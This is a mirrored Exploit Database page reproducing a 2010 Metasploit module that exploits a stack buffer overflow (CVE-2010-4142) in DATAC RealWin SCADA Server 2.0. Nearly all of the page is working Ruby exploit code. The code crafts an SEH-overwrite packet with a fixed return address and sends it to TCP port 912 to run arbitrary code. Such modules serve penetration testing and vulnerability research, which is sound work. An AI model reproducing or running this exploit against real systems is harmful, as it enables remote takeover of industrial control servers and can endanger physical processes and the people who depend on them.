DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) – SCPC_INITIALIZE Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-11-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16382/

• ##
  # $Id: realwin_scpc_initialize.rb 11180 2010-11-30 20:19:18Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in DATAC Control
  				International RealWin SCADA Server 2.0 (Build 6.1.8.10).
  				By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'Luigi Auriemma', 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11180 $',
  			'References' =>
  				[
  					[ 'OSVDB', '68812' ],
  					[ 'CVE', '2010-4142' ],
  					[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 550,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Oct 15 2010'))
  
  		register_options([Opt::RPORT(912)], self.class)
  	end
  
  	def exploit
  
  		connect
  
  		data =[0x6a541264].pack('V')
  		data << [0x00000002].pack('V')
  		data << [0x00001ff4].pack('V')
  		data << rand_text_alpha_upper(228)
  		data << generate_seh_payload(target.ret)
  		data << rand_text_alpha_upper(10024 - payload.encoded.length)
  		data << "\x00"	
  
  		print_status("Trying target #{target.name}...")
  		sock.put(data)
  
  		handler
  		disconnect
  
  	end
  
  end